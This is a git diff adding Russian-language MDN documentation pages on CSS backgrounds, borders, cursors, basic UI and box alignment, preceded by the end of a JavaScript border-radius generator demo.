+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +

{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}

+ +

 

diff --git a/files/ru/web/css/css_background_and_borders/index.html b/files/ru/web/css/css_background_and_borders/index.html new file mode 100644 index 0000000000..87b26bd607 --- /dev/null +++ b/files/ru/web/css/css_background_and_borders/index.html @@ -0,0 +1,154 @@ +--- +title: CSS Background and Borders +slug: Web/CSS/CSS_Background_and_Borders +tags: + - CSS + - CSS Backgrounds and Borders + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +--- +

{{CSSRef}}

+ +

CSS Background and Borders is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("background")}}
    • +
  • {{cssxref("background-attachment")}}
    • +
  • {{cssxref("background-clip")}}
    • +
  • {{cssxref("background-color")}}
    • +
  • {{cssxref("background-image")}}
    • +
  • {{cssxref("background-origin")}}
    • +
  • {{cssxref("background-position")}}
    • +
  • {{cssxref("background-repeat")}}
    • +
  • {{cssxref("background-size")}}
    • +
  • {{cssxref("box-shadow")}}
    • +
  • {{cssxref("border")}}
    • +
  • {{cssxref("border-bottom")}}
    • +
  • {{cssxref("border-bottom-color")}}
    • +
  • {{cssxref("border-bottom-left-radius")}}
    • +
  • {{cssxref("border-bottom-right-radius")}}
    • +
  • {{cssxref("border-bottom-style")}}
    • +
  • {{cssxref("border-bottom-width")}}
    • +
  • {{cssxref("border-collapse")}}
    • +
  • {{cssxref("border-color")}}
    • +
  • {{cssxref("border-image")}}
    • +
  • {{cssxref("border-image-outset")}}
    • +
  • {{cssxref("border-image-repeat")}}
    • +
  • {{cssxref("border-image-slice")}}
    • +
  • {{cssxref("border-image-source")}}
    • +
  • {{cssxref("border-image-width")}}
    • +
  • {{cssxref("border-left")}}
    • +
  • {{cssxref("border-left-color")}}
    • +
  • {{cssxref("border-left-style")}}
    • +
  • {{cssxref("border-left-width")}}
    • +
  • {{cssxref("border-radius")}}
    • +
  • {{cssxref("border-right")}}
    • +
  • {{cssxref("border-right-color")}}
    • +
  • {{cssxref("border-right-style")}}
    • +
  • {{cssxref("border-right-width")}}
    • +
  • {{cssxref("border-style")}}
    • +
  • {{cssxref("border-top")}}
    • +
  • {{cssxref("border-top-color")}}
    • +
  • {{cssxref("border-top-left-radius")}}
    • +
  • {{cssxref("border-top-right-radius")}}
    • +
  • {{cssxref("border-top-style")}}
    • +
  • {{cssxref("border-top-width")}}
    • +
  • {{cssxref("border-width")}}
    • +
+
+ +

Guides

+ +
+
Using CSS multiple backgrounds
+
Explains how to set backgrounds on elements and how they will interact with it.
+
Scaling background images
+
Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Backgrounds') }}{{ Spec2('CSS3 Backgrounds') }} 
{{SpecName('CSS2.1', 'box.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#border')}}{{Spec2('CSS1')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatGeckoMobile("1.9.2")}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}1.0
+
diff --git "a/files/ru/web/css/css_background_and_borders/\320\274\320\275\320\276\320\266\320\265\321\201\321\202\320\262\320\265\320\275\320\275\321\213\320\265_\321\204\320\276\320\275\321\213/index.html" "b/files/ru/web/css/css_background_and_borders/\320\274\320\275\320\276\320\266\320\265\321\201\321\202\320\262\320\265\320\275\320\275\321\213\320\265_\321\204\320\276\320\275\321\213/index.html" new file mode 100644 index 0000000000..1e7732dd04 --- /dev/null +++ "b/files/ru/web/css/css_background_and_borders/\320\274\320\275\320\276\320\266\320\265\321\201\321\202\320\262\320\265\320\275\320\275\321\213\320\265_\321\204\320\276\320\275\321\213/index.html" @@ -0,0 +1,52 @@ +--- +title: Множественные фоны +slug: Web/CSS/CSS_Background_and_Borders/Множественные_фоны +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +

{{CSSRef}}

+ +

Краткое описание

+ +

С помощью CSS3 вы можете применить несколько фонов к элементам. Они будут располагаться поверх друг друга: фон, заданный первым - в самом верху, последний фон - в самом низу.

+ +

Задать множественные фоны легко:

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

+ +

Пример

+ +

В этом примере три фона: логотип Firefox, линейный градиент и изображение пузырей:

+ +

HTML

+ +
<div class="multi_bg_example"></div>
+ +

CSS

+ +
.multi_bg_example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat, no-repeat, no-repeat;
+  background-position: bottom right, left, right;
+  background: -moz-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -webkit-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -ms-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+}
+ +

Результат

+ +

(If image does not appear in CodePen, click the TIdy button in the CSS section)

+ +

{{EmbedLiveSample('Example','100%','400')}}

+ +

Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_basic_user_interface/index.html b/files/ru/web/css/css_basic_user_interface/index.html new file mode 100644 index 0000000000..34c7874266 --- /dev/null +++ b/files/ru/web/css/css_basic_user_interface/index.html @@ -0,0 +1,74 @@ +--- +title: CSS Basic User Interface +slug: Web/CSS/CSS_Basic_User_Interface +tags: + - CSS + - CSS Basic User Interface + - Overview + - Reference +translation_of: Web/CSS/CSS_Basic_User_Interface +--- +

{{CSSRef}}

+ +

CSS Basic User Interface is a CSS module that lets you define the rendering and functionality of features related to the user interface.

+ +

Reference

+ +

Properties

+ +
+
    +
  • {{CSSxRef("appearance")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("box-sizing")}}
    • +
  • {{CSSxRef("cursor")}}
    • +
  • {{CSSxRef("ime-mode")}} {{Deprecated_Inline}}
    • +
  • {{CSSxRef("nav-down")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("nav-left")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("nav-right")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("nav-up")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("outline")}}
    • +
  • {{CSSxRef("outline-width")}}
    • +
  • {{CSSxRef("outline-style")}}
    • +
  • {{CSSxRef("outline-color")}}
    • +
  • {{CSSxRef("outline-offset")}}
    • +
  • {{CSSxRef("resize")}}
    • +
  • {{CSSxRef("text-overflow")}}
    • +
  • {{CSSxRef("user-select")}} {{Experimental_Inline}}
    • +
+
+ +

Guides

+ +
+
Using URL values for the cursor property
+
Explains how a URL can be used with the {{CSSxRef("cursor")}} property to produce custom cursors.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Basic UI")}}{{Spec2("CSS4 Basic UI")}} 
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}} 
{{SpecName("CSS2.1", "ui.html")}}{{Spec2("CSS2.1")}}Initial definition.
diff --git "a/files/ru/web/css/css_basic_user_interface/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_url_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\271_\320\264\320\273\321\217_\321\201\320\262\320\276\320\271\321\201\321\202\320\262\320\260_cursor/index.html" "b/files/ru/web/css/css_basic_user_interface/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_url_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\271_\320\264\320\273\321\217_\321\201\320\262\320\276\320\271\321\201\321\202\320\262\320\260_cursor/index.html" new file mode 100644 index 0000000000..c629b7bffd --- /dev/null +++ "b/files/ru/web/css/css_basic_user_interface/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_url_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\271_\320\264\320\273\321\217_\321\201\320\262\320\276\320\271\321\201\321\202\320\262\320\260_cursor/index.html" @@ -0,0 +1,120 @@ +--- +title: Использование URL значений для свойства cursor +slug: >- + Web/CSS/CSS_Basic_User_Interface/Использование_URL_значений_для_свойства_cursor +tags: + - CSS + - Gecko + - Справка + - справочник +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +
{{cssref}}
+ +

Gecko 1.8 (Firefox 1.5, SeaMonkey 1.0) поддерживает URL-значения для CSS свойства {{cssxref("cursor")}} в Windows и Linux. Поддержка Mac была добавлена в Gecko 2 (Firefox 4). Это позволяет устанавливать произвольные изображения в качестве курсора мыши — может быть использовать любой формат изображений, поддерживаемый Gecko.

+ +

Синтаксис

+ +

Базовый (CSS 2.1) синтаксис для этого свойства:

+ +
cursor:  [<url>,]* ключевое_слово
+ +

Это означает, что устанавливать можно любое количество URL'ов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определеннымы спецификацией CSS, таких как auto или pointer.

+ +

Например, такая последовательность значений допустима:

+ +
cursor:  url(foo.cur), url(http://www.example.com/bar.gif), auto;
+ +

В первую очередь браузер пытается загрузить foo.cur. Если такой файл отсутствует или его форма не допустим по каким-то другим причинам, то дальше загружается bar.gif. И если он также не может быть использован, будет использовано значение auto.

+ +

Поддержка CSS 3 синтаксиса для указания курсора была добавлена в Gecko 1.8 (Firefox 1.5):

+ +
cursor:  [<uri> [<x> <y>]?,]* ключевое_слово
+ +

Это позволяет устанавливать координаты смещения курсора, которые буду зафиксированы на границах курсора. Если координаты не указаны, то они считываются непосредственно из файла (для CUR и XBM файлов) или же устанавливаются в левый верхний угол изображения.

+ +

Пример CSS 3 синтаксиса:

+ +
.foo  {
+  cursor:  auto;
+  cursor:  url(cursor1.png) 4 12, auto;
+}
+
+.bar  {
+  cursor:  pointer;
+  cursor:  url(cursor2.png) 2 2, pointer;
+}
+
+/* откатываются на 'auto' и 'pointer' в IE, но должны быть установлены отдельны */
+
+ +

Первое число определяет координату по оси x, а вторая - по оси y. Данный пример сместит изображение на точку (4,12) относительно левого верхнего угла (0,0).

+ +

Ограничения

+ +

Могут быть использованы любые форматы, поддерживаемые Gecko. Это означает, что вы можете использовать PNG, GIF, JPG, BMP, CUR и т.д. ANI не поддерживается. Анимированные PNG и GIF не добавят анимацию курсору.

+ +
+

Примечание: Начиная с Gecko 2.0 {{geckoRelease("2.0")}}, Gecko также поддерживает формат SVG в качестве изображения курсора. Тем не менее, SVG изображение должно содержать значения (кроме процентных значений) высоты и ширины на корневом SVG узле. JavaScript, CSS анимация и декларативный SMIL внутри SVG изображения игнорируются; например, вы не можете использовать SVG, чтобы создать анимированный курсор.

+
+ +

В Gecko (Firefox) максимальный размер курсора - 128×128 пикселей. Изображения большего размера игнорируются. Однако, вам следую ограничиться рамером курсора в 32×32 пикселя для максимальной совместимости с операционными системами и платформами.

+ +

(В следствие бага Gecko 1.9.2-1.9.2.6, Firefox 3.6-3.6.6 в Windows ограничивает размер в 32x32 пикселя. Это исправляется в более новых версиях.)

+ +

Прозрачные курсоры не поддерживаются в версиях Windows ниже XP. Это ограничение для операционной системы. Прозрачность работает на любых платформах.

+ +

URL в качестве курсора поддерживаются в Windows, OS/2, и Linux (с использованием GTK+ 2.4 или выше) версиях Mozilla. Поддержка Mac OS X была добавлена в Gecko 2 (Firefox 4).

+ +

Совместимость с другими браузерами

+ +

Microsoft Internet Explorer 6.0 также поддерживает URI значения для свойства cursor. Тем не менее:

+ +
    +
  • IE поддерживает только CUR и ANI форматы.
    • +
  • IE не поддерживает CSS 3 синтаксис с x- и y-координатами. Изображение курсора и дальнейшее свойство игнорируются.
    • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
БраузерРанняя версияФорматыx-y-координаты
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows и Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
Начиная с OS X 10.5, Safari (Mac) поддерживает  .cur файлы
diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html new file mode 100644 index 0000000000..0dc1ecbeca --- /dev/null +++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html @@ -0,0 +1,119 @@ +--- +title: Выравнивание блоков в разметке Flexbox +slug: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox +tags: + - CSS + - flexbox + - выравнивание блоков +translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox +--- +
{{CSSRef}}
+ +

Спецификация Выравнивание Блоков подробно описывает, как выравнивание работает при использовании различных способов разметки. На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox. Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей выравнивания блоков, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.

+ +

Основной пример

+ +

В этом примере три элемента flex выровнены по главной оси с помощью атрибута {{cssxref ("justify-content")}} и по поперечной оси с помощью атрибута {{cssxref ("align-items")}}. Первый элемент переопределяет значения align-items, устанавливая значение атрибута {{cssxref ("align-self")}} в  center.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}

+ +

Оси и атрибут flex-direction

+ +

Разметка flexbox следует согласно режиму чтения документа (writing mode), поэтому, если вы используете английский язык и устанавливаете атрибут {{cssxref ("justify-content")}} в значение flex-end,  то элементы будут выровнены по концу flex контейнера. Если вы работаете со значением атрибута {{cssxref ("flex-direction")}}, установленным в row, то выравнивание будет происходить в линейном направлении.

+ +

Однако, работая с разметкой flexbox, вы можете изменить поведение главной оси, установив значение атрибута flex-direction в column. В этом случае, атрибут justify-content будет выравнивать элементы в направлении блока. Поэтому проще всего думать о главной и поперечной осях при работе с разметкой Flexbox следующим образом:

+ +
    +
  • Главная ось = направление согласно атрибуту flex-direction = выравнивание через атрибут justify-content
    • +
  • Поперечная ось = проходит поперек главной оси = выравниваие через атрибут align-content, align-self/align-items
    • +
+ +

Выравнивание по Главной Оси

+ +
    +
  • {{cssxref("justify-content")}}
    • +
+ +

Выравнивание по Поперечной Оси

+ +
    +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-content")}}
    • +
+ +

Отсутствие атрибута justify-self в разметке Flexbox

+ +

При использовании разметки flexbox, главная ось работает с нашим контентом как с группой. Количество места, необходимого для размещения элементов, рассчитывается, а оставшееся пространство становится доступным для заполнения. Атрибут justify-content контролирует использование оставшегося пространства. Если установить атрибут justify-content в значение flex-end, то дополнительное пространство заполнится перед элементами, если установить атрибут justify-content в значение space-around, то пространство заполнится с обеих сторон элемента в этом измерении и т. д.

+ +

Это означает, что атрибут justify-self нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.

+ +

Использовать атрибут align-self имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.

+ +

Выравнивание и свойство margin: auto

+ +

В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут justify-self. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации. В таком случае, можно использовать атрибут margin со значеним auto. Атрибут с таким значением будет занимать все доступное пространство в своем измерении. Так работает центрирование блока со свойством margin:auto. Установив значение атрибутов margin-left и margin-right в значение auto, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.

+ +

Установив значение атрибута{{cssxref ("margin")}} в auto для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию. Это хорошо работает с разметкой flexbox и свойствами выравнивания. Как только для элемента со свойством margin: auto не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}

+ +

Атрибуты разрыва

+ +
    +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+ +

Создание разрыва фиксированного размера между элементами

+ +

На главной оси атрибут column-gap будет создавать разрывы фиксированного размера между соседними элементами.
+
+ На поперечной оси атрибут row-gap создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут flex-wrap в значение wrap, чтобы применить эффект.

+ +
+

Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.

+
+ +

Ссылки

+ +

CSS Атрибуты

+ +
+
    +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("place-content")}}
    • +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("place-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("row-gap")}}
    • +
  • {{cssxref("column-gap")}}
    • +
  • {{cssxref("gap")}}
    • +
+
+ +

Словарь терминов

+ +
+
    +
  • {{Glossary("Cross axis")}}
    • +
  • {{Glossary("Main axis")}}
    • +
+
+ +

Руководства

+ + + +

Внешние ресурсы

+ + diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html new file mode 100644 index 0000000000..90d8eea440 --- /dev/null +++ b/files/ru/web/css/css_box_alignment/index.html @@ -0,0 +1,245 @@ +--- +title: Выравнивание полей CSS +slug: Web/CSS/CSS_Box_Alignment +translation_of: Web/CSS/CSS_Box_Alignment +--- +
{{CSSRef}}
+ +

Модуль CSS Box Alignment определяет CSS-функции, которые относятся к выравниванию ящиков в различных моделях макета CSS: макет блока, макет таблицы, гибкая макет и макет сетки. Модуль нацелен на создание согласованного метода выравнивания по всем CSS. В этом документе описываются общие понятия, содержащиеся в спецификации.

+ +
+

Примечание: Документация для каждого метода макета будет подробно описана, как там применяется шкала выравнивания.

+
+ +

Старые методы выравнивания

+ +

У CSS традиционно были очень ограниченные возможности выравнивания. Мы могли выровнять текст, используя {{cssxref("text-align")}}, центральные блоки, используя auto {{cssxref("margin")}}s, а в макетах таблицы или встроенного блока, используя {{cssxref("vertical-align")}} свойство. Выравнивание текста теперь покрывается модулями Inline Layout и CSS Text, и впервые в Box Alignment мы имеем полные возможности горизонтального и вертикального выравнивания.

+ +

Если вы изначально узнали Flexbox, вы можете считать эти свойства частью спецификации Flexbox и некоторые из свойств действительно перечислены в Level 1 Flexbox. Однако в спецификации отмечается, что спецификация Box Alignment должна рассматриваться, поскольку она может добавить дополнительные возможности по сравнению с тем, что в настоящее время находится в Flexbox.

+ +

Основные примеры

+ +

Следующие примеры демонстрируют, как некоторые из Box Alignment Properties применяются в Grid and Flexbox.

+ +

Пример выравнивания раскладки сетки CSS

+ +

В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}

+ +

Пример выравнивания Flexbox

+ +

В этом примере три элемента гибкости выровнены по главной оси с использованием justify-content и на поперечной оси с использованием align-items. Первый элемент переопределяет align-items, заданные в группе align-self по center.

+ +

{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}

+ +

Ключевые понятия и терминология

+ +

Спецификация описывает некоторую терминологию выравнивания, чтобы упростить обсуждение этих свойств выравнивания вне их реализации в рамках конкретного метода компоновки. Существуют также некоторые ключевые концепции, которые являются общими для всех методов макета.

+ +

Связь с режимами записи

+ +

Выравнивание связано с режимами записи, когда мы выравниваем элемент, который мы не рассматриваем, если мы сопоставляем его с физическими размерами сверху, справа, снизу и слева. Вместо этого мы описываем выравнивание с точки зрения начала и конца конкретного измерения, с которым мы работаем. Это гарантирует, что выравнивание работает так же, как в режиме записи, который имеет документ.

+ +

Два измерения выравнивания

+ +

При использовании свойств выравнивания ячеек вы выровняете содержимое по одной из двух осей - inline (или main) оси и block (или cross) оси. Внутренняя ось - это ось, по которой используются слова в потоке предложения в режиме записи - для английского языка, например, встроенная ось горизонтальна. Ось блока - это ось, вдоль которой выложены блоки, такие как элементы абзаца, и проходит по оси Inline.

+ +

+ +

При выравнивании элементов на встроенной оси вы будете использовать свойства, начинающиеся с justify-:

+ +
    +
  • {{cssxref("justify-items")}}
    • +
  • {{cssxref("justify-self")}}
    • +
  • {{cssxref("justify-content")}}
    • +
+ +

При выравнивании элементов на оси блока вы будете использовать свойства, которые начинаются с align-:

+ +
    +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("align-content")}}
    • +
+ +

Flexbox добавляет дополнительное усложнение в том, что указанное выше верно, когда {{cssxref("flex-direction")}} установлено в row. Свойства меняются местами, когда flexbox установлен в column. Поэтому при работе с flexbox легче думать о главной и поперечной оси, а не о линии и блоке. Свойства justify- всегда используются для выравнивания по главной оси, align- на поперечной оси.

+ +

The alignment subject

+ +

Объект выравнивания - это то, что выровнено. Для justify-self, или align-self, или при настройке этих значений как группы с justify-items или align-items это будет поле элемента, в котором используется это свойство. Свойства justify-content и align-content различаются для каждого метода макета.

+ +

The alignment container

+ +

Контейнер выравнивания - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.

+ +

На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.

+ +

+ +

Fallback alignment

+ +

Если вы установите выравнивание, которое не может быть выполнено, тогда возвратное выравнивания вступит в игру и обработает доступное пространство. Это резервное выравнивание указывается отдельно для каждого метода макета и подробно описано на странице для этого метода.

+ +

Типы выравнивания

+ +

Существует три различных типа выравнивания, которые специфицируют детали; они используют значения ключевых слов.

+ +
    +
  • Positional alignment (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.
    • +
  • Baseline alignment (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.
    • +
  • Distributed alignment (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.
    • +
+ +

Значения ключевых слов позиционирования

+ +

Следующие значения определены для позиционного выравнивания и могут использоваться в качестве значений для выравнивания содержимого с justify-content и align-content, а также для самовыравнивания с justify-self и align-self.

+ +
    +
  • center
    • +
  • start
    • +
  • end
    • +
  • self-start
    • +
  • self-end
    • +
  • flex-start for Flexbox only
    • +
  • flex-end for Flexbox only
    • +
  • left
    • +
  • right
    • +
+ +

Помимо физических значений left и right, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.

+ +

Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение justify-content start, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение start приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.

+ +

Оба этих примера имеют justify-content: start, однако местоположение начала изменяется в соответствии с режимом записи.

+ +

+ +

Исходное выравнивание

+ +

Ключевые слова выравнивания базовой линии используются для выравнивания базовых линий ящиков по группе субъектов выравнивания. Они могут использоваться в качестве значений для выравнивания контента с помощью justify-content и align-content, а также для самовыравнивания с justify-self и align-self.

+ +
    +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +

Исходное выравнивание содержимого - указание значения выравнивания базовой линии для justify-content или align-content - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.

+ +

Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование justify-self или align-self или при настройке этих значений в виде группы с justify-items и align-items.

+ +

Distributed alignment

+ +

Ключевые слова расспеределенного выравнивания используются с параметрами align-content и justify-content. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:

+ +
    +
  • stretch
    • +
  • space-between
    • +
  • space-around
    • +
  • space-evenly
    • +
+ +

Например, элементы Flex Layout сначала выровнены с использованием flex-start. Работая в горизонтальном верхнем и нижнем режимах записи, таком как русский, с flex-direction в виде row элементы начинаются в крайнем левом углу и любое свободное место после отображения элементов помещается после элементов.

+ +

+ +

Если вы устанавливаете justify-content: space-between в контейнере flex, доступное пространство теперь разделяется и помещается между элементами.

+ +

+ +

